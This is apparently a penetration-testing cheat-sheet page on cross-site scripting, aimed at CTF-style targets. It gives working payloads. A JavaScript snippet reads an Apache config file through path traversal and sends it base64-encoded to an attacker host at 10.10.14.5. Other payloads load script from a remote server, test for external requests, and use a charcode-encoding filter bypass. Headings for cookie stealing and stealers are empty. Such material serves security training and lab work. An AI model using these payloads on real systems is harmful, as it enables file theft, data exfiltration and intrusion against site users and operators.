XSS

Cross-site Scripting

Methodology


Reflected XSS

XSS + Arbitrary File Upload
  • First, create the file that you are going to use to load the malicious javascript:

Load the file
<script src="http://REMOTE-SERVER:PORT/tokyo.js"></script>
  • Then, create the script:

var req = new XMLHttpRequest();
req.open('GET', 'http://alert.htb/messages.php?file=../../../../../etc/apache2/sites-available/000-default.conf', false);
req.send();
var req2 = new XMLHttpRequest();
req2.open('GET', 'http://10.10.14.5:3000/?content=' + btoa(req.responseText),
true);
req2.send();

Test Filters

External Requests

  • Test if the web application allows the inclusion of resources from external servers:

    1. Spawn a HTTP server python3 -m http.server 80

    2. Submit the payload and wait for the request <img src='http://10.10.14.30/test.jpg' />


Code Execution

<script>alert('XSS')</script>
<img src="x` `<script>javascript:alert(1)</script>"` `>

Charcode Bypass

  • First use python to convert the payload to integers:

python3 -c "print(','.join([str(ord(c)) for c in '''document.write('<script src=\"http://10.10.16.8/tokyo.js\"></script>');''']))"
  • Now make the payload:

<img src="x/><script>eval(String.fromCharCode(CHARCODE_HERE));</script>">
  • If you get a respond on the server you can try to steal data by creating the malicious files.


Stealers


Stealing Cookies


Stored XSS

Last updated